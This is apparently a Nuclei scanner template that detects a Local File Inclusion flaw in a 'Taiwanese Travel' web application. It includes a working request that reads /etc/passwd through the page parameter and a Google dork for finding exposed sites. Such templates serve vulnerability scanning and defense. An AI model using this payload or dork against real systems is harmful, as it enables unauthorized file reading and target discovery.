id: taiwanese-travel-lfi

info:
  name: Taiwanese Travel - Local File Inclusion
  author: r3Y3r53
  severity: high
  description: |
    The vulnerability in '/index.php?page=' allows for Local File Inclusion (LFI), granting attackers the ability to include and potentially execute files on the server, compromising the application's security
  reference:
    - https://www.exploitalert.com/view-details.html?id=35607
  metadata:
    verified: true
    max-request: 1
    google-query: intext:"COPYRIGHT" inurl:?page=regulation.php
  tags: lfi,unauth,taiwanese

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?page=/etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:x:0:0:"

      - type: word
        part: body
        words:
          - "travel"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100e462a8ab235d96da5dfec692a2ec4e054dc76afed73842a9eec9c7a19aed37e202204b2230bb3579083fd146e53d741ae9b85f6da90445cd6526da0aa14fb8152c82:922c64590222798bb761d5b6d8e72950